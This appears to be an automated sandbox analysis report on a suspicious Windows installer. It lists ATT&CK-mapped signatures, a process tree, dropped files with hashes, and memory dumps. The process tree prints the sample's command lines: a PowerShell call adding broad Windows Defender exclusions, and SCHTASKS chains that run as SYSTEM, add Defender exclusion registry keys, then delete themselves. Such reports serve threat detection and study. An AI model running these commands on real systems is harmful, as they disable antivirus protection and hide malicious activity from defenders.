Analysis

  • max time kernel
    151s
  • max time network
    155s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/08/2026, 11:48

General

  • Target
    install_q0.3.12.exe
  • Size 24.5MB
  • Sample260828-nylvwacf99
  • SHA256 c4476378ccde96e2bcbb413e42d7df500c56b577b3a8a58c5318df96201e0b02
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install_q0.3.12.exe
    "C:\Users\Admin\AppData\Local\Temp\install_q0.3.12.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:2232
  • C:\Users\Public\EjObqA\ajdiRn.exe
    "C:\Users\Public\EjObqA\ajdiRn.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4524
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:900
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\EjObqA\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:2552
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\EjObqA\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5812
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:3068
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4228
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:5964
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:1208
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:2584
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:5912
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:4968
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5860
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:1288
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:5896
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:1476
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:2240
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4580
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:4656
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:1692
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:3476
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:3568
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:5084
                      • C:\Users\Public\EjObqA\ajdiRn.exe
                        "C:\Users\Public\EjObqA\ajdiRn.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:3728
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\EjObqA" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:2936
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\EjObqA" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:5268
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:5628
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2160
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1292
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3480
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3360

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              UxEnhance64.dll

                              • Path C:\Users\Public\EjObqA\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 9ee730869b2584ae75e693e06a615406073555a4667704befd840a36ed65e542
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\EjObqA\adoresd.dat
                              • Size 4.7MB
                              • SHA256 a066c8de046f5cf0797276c436216ebda909c7f7e5616f6246adebd99114a6f2
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              ajdiRn.exe

                              • Path C:\Users\Public\EjObqA\ajdiRn.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\EjObqA\msadox.tb
                              • Size 8KB
                              • SHA256 59549dd227568138e9b00dc24af58ce83553778b541567594a382383d249776c
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/900-595-0x00000165F24D0000-0x00000165F24DA000-memory.dmp

                              memory/900-594-0x00000165F2410000-0x00000165F24C2000-memory.dmp

                              memory/900-593-0x00000165F23F0000-0x00000165F240E000-memory.dmp

                              memory/900-589-0x00000165F21C0000-0x00000165F21E2000-memory.dmp

                              memory/2232-503-0x00007FFB25AD0000-0x00007FFB25AE2000-memory.dmp

                              memory/2232-524-0x00007FFB25AD0000-0x00007FFB25AE2000-memory.dmp

                              memory/2232-523-0x0000000000480000-0x000000000048E000-memory.dmp

                              memory/2232-1-0x00000000007B0000-0x00000000007BC000-memory.dmp

                              memory/2232-0-0x0000000000480000-0x000000000048E000-memory.dmp

                              memory/3728-578-0x00000175670D0000-0x0000017567957000-memory.dmp

                              memory/3728-572-0x00007FFB14ED0000-0x00007FFB153EE000-memory.dmp

                              memory/3728-582-0x00000175670D0000-0x0000017567957000-memory.dmp

                              memory/3728-585-0x00000175670D0000-0x0000017567957000-memory.dmp

                              memory/3728-586-0x00007FFB36230000-0x00007FFB36232000-memory.dmp

                              memory/3728-584-0x00000175670D0000-0x0000017567957000-memory.dmp

                              memory/3728-583-0x00000175670D0000-0x0000017567957000-memory.dmp

                              memory/3728-577-0x00007FFB36240000-0x00007FFB36242000-memory.dmp

                              memory/3728-575-0x00000175670D0000-0x0000017567957000-memory.dmp

                              memory/4524-560-0x000001BD316A0000-0x000001BD3172A000-memory.dmp

                              memory/4524-558-0x000001BD316A0000-0x000001BD3172A000-memory.dmp

                              memory/4524-562-0x000001BD30E10000-0x000001BD31697000-memory.dmp

                              memory/4524-564-0x000001BD30E10000-0x000001BD31697000-memory.dmp

                              memory/4524-565-0x000001BD30E10000-0x000001BD31697000-memory.dmp

                              memory/4524-556-0x000001BD316A0000-0x000001BD3172A000-memory.dmp

                              memory/4524-557-0x000001BD316A0000-0x000001BD3172A000-memory.dmp

                              memory/4524-542-0x000001BD30E10000-0x000001BD31697000-memory.dmp

                              memory/4524-538-0x000001BD30E10000-0x000001BD31697000-memory.dmp

                              memory/4524-555-0x000001BD30360000-0x000001BD303AE000-memory.dmp

                              memory/4524-549-0x000001BD30E10000-0x000001BD31697000-memory.dmp

                              memory/4524-545-0x000001BD30E10000-0x000001BD31697000-memory.dmp

                              memory/4524-544-0x000001BD30E10000-0x000001BD31697000-memory.dmp

                              memory/4524-543-0x000001BD30E10000-0x000001BD31697000-memory.dmp

                              memory/4524-537-0x00007FFB36240000-0x00007FFB36242000-memory.dmp

                              memory/4524-535-0x000001BD30E10000-0x000001BD31697000-memory.dmp

                              memory/4524-530-0x00007FFB14ED0000-0x00007FFB153EE000-memory.dmp

                              memory/4524-529-0x00007FFB36230000-0x00007FFB36232000-memory.dmp